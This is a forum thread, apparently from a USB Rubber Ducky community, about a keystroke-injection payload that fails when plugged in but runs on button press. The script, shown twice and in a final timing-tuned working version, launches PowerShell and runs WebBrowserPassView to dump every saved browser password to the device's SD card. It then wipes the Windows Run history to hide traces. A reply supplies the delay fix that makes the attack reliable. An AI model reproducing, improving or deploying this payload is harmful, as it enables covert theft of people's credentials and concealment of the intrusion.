Ducky code runs when pushing button on duck but not when plugging in

[macroliux]

Hi All, I've only had this ducky for a week and it's like it has a mind of it's own. I had it working when you plug it in to gather all the browser passwords and save to a text file on the sd card using the twin duck firmware. For some reason it stopped working. I mean it would run some of the commands to get powershell up but wouldnt' finish and therefore not create the .txt file you're expecting. So I reflashed it and put the code back on and now it will work correctly when pushing the button on the ducky to execute the inject.bin file. However, it still doesn't work right when plugging in. It gets to the powershell part and then stops. I have about 5 different PCs that it worked on all of them when plugging in. Now it won't work on any of them when plugging in. Have to press the button on it to get it to work. Anyone else had any issues like this or have any recommendations? Here's the code I'm running:

REM opens powershell
DELAY 500
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 500
REM navigates to USB drive called _ for me
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq '_' } | select name
ENTER
DELAY 500
STRING cd $usbPath.name
ENTER
DELAY 200
REM runs WebrowserPassView from ducky drive
STRING CMD
ENTER
DELAY 20
STRING WebBrowserPassView.exe /stext pass_%computername%.txt
ENTER
DELAY 100
STRING exit
ENTER
DELAY 100
REM removes run history
STRING Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
ENTER
DELAY 100
STRING exit
ENTER

 

 

Thanks!

[macroliux]

Turning on notifications in case anyone replies. 🙂

[Bob123]

Add an extra zero to your first delay and see if that helps or to anywhere your code is getting cut off.  Got to remember that 500 is half a second.  May seem like a lot but it's not when the computer is trying to recognize what you plugged into it, or when your trying to enter a command.  I know it's not as sleek (fast) but I'd add a zero to every delay you have in your script and I bet it'll work just fine. 

[macroliux]

33 minutes ago, Bob123 said:

Add an extra zero to your first delay and see if that helps or to anywhere your code is getting cut off.  Got to remember that 500 is half a second.  May seem like a lot but it's not when the computer is trying to recognize what you plugged into it, or when your trying to enter a command.  I know it's not as sleek (fast) but I'd add a zero to every delay you have in your script and I bet it'll work just fine. 

Thanks for the tip! I did that and it worked. So I messed with the delays a little to get it a little faster until it stopped working again. This is what I ended up with that works when you plug it in.

 

REM opens powershell
DELAY 5000
GUI r
DELAY 2000
STRING powershell
ENTER
DELAY 100
REM navigates to USB drive called _ for me
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq '_' } | select name
ENTER
DELAY 500
STRING cd $usbPath.name
ENTER
DELAY 200
REM runs WebrowserPassView from ducky drive
STRING CMD
ENTER
DELAY 200
STRING WebBrowserPassView.exe /stext pass_%computername%.txt
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 500
REM removes run history
STRING Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
ENTER
DELAY 100
STRING exit
ENTER